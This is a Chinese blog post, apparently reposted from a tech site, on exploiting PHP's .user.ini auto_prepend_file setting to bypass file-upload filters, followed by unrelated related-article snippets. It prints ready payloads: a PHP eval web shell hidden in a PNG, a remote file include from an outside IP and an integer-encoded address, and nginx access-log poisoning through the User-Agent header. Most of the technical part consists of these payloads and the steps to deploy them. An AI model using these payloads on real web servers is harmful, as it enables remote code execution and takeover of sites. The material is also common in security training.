文件上传-.user.ini利用

devtools/2024/9/25 2:52:58/

php.ini是php的全局配置文件,对整个web服务起作用

.user.ini和.htaccess都是目录的配置文件

.user.ini是用户自定义的php.in

官方解释:

自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI
SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。
官方解释:
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
这些模式决定着一个 PHP 的指令在何时何地,是否能够被设定。手册中的每个指令都有其所属的模式。例如有些指令可以在 PHP 脚本中用 ini_set() 来设定,而有些则只能在 php.ini 或 httpd.conf 中。

用法:

auto_prepend_file = <filename>         //包含在文件头
auto_append_file = <filename>          //包含在文件尾

理解为包含文件

利用条件

  • 语言为PHP 服务器使用CGI
  • FastCGI模式
  • 上传目录有默认可执行php文件(有时候可以自己上传index.php文件?)
  • PHP 5.3.0以上

当前目录有默认页面index.php,访问当前目录(即index.php)就会引用.user.ini指定的文件(如shell.png)

1、包含png文件(包含txt文件同理)

上传.user.ini文件

auto_prepend_file=1.png

上传1.png(内容写马)

<?php @eval($_POST['shell']);?>

2、包含远程文件

<?=include'http://10.22.11.21/'?>

整型地址:

<?=include'http://169216789/'?>

3、包含日志,利用UA头构造后门

首先包含此文件:/var/log/nginx/access.log
然后随便访问一个页面,将UA头改为<?php @eval($_POST['shell']);?>


http://www.ppmy.cn/devtools/94492.html

相关文章

TOYOTA干泵IPUP T100L EC100L手侧含电路图丰田工业

TOYOTA干泵IPUP T100L EC100L手侧含电路图丰田工业

clamp靶机复现

靶机设置 设置靶机为NAT模式 靶机IP发现 nmap 192.168.112.0/24 靶机IP为192.168.112.143 目录扫描 dirsearch 192.168.112.143 访问浏览器 提示让我们扫描更多的目录 换个更大的字典&#xff0c;扫出来一个 /nt4stopc/ 目录 目录拼接 拼接 /nt4stopc/ 发现页面中有很多…

汇量科技Mintegral发布全新产品矩阵:助力广告主高效增长与变现

近期&#xff0c;汇量科技旗下程序化互动式广告平台Mintegral正式推出全新产品命名&#xff0c;期望通过简洁明确的产品名称&#xff0c;更好地传达Mintegral的品牌理念&#xff0c;使客户与平台的每一次接触都更加直接高效。 Mintegral AppGrowth(原Mintegral Self-Service Pl…

数据结构(学习)2024.8.6(顺序表)

今天开始学习数据结构的相关知识&#xff0c;大概分为了解数据结构、算法&#xff1b;学习线性表&#xff1a;顺序表、链表、栈、队列的相关知识和树&#xff1a;二叉树、遍历、创建&#xff0c;查询方法、排序方式等。 目录 一、数据结构 数据 逻辑结构 1.线性结构 2.树…

前程无忧 阿里227滑块 分析

声明: 本文章中所有内容仅供学习交流使用&#xff0c;不用于其他任何目的&#xff0c;抓包内容、敏感网址、数据接口等均已做脱敏处理&#xff0c;严禁用于商业用途和非法用途&#xff0c;否则由此产生的一切后果均与作者无关&#xff01;有相关问题请第一时间头像私信联系我删…

数据库原理面试-核心概念-问题理解

目录 1.数据库、数据库系统与数据库管理系统 2.理解数据独立性 3.数据模型 4.模式、外模式和内模式 5.关系和关系数据库 6.主键与外键 7.SQL语言 8.索引与视图 9.数据库安全 10.数据库完整性 11.数据依赖和函数依赖 12.范式&#xff1f;三范式&#xff1f;为什么要遵…

TLE4966-3G带方向检测功能的高灵敏度汽车霍尔开关

TLE4966-3G是一款集成电路双霍尔效应传感器&#xff0c;专为使用旋转极轮的高精度应用而设计。通过片上有源补偿电路和斩波器技术实现精确的磁切换点和高温稳定性。 该传感器在Q2提供速度输出&#xff0c;其状态&#xff08;高或低&#xff09;与磁场值相对应。对于超过阈值BO…

【python】模块-标准库(sys,os,math,random)

在python的基础知识这个板块里&#xff0c;我们上一篇文章讲到了模块的基础知识&#xff0c;那今天我们接着上次的话题来聊聊在python模块中标准库的知识。 上次我们讲到了模块和包&#xff0c;而python自己呢也提供了不少的包和模块&#xff0c;我们称这些东西叫做标准库。py…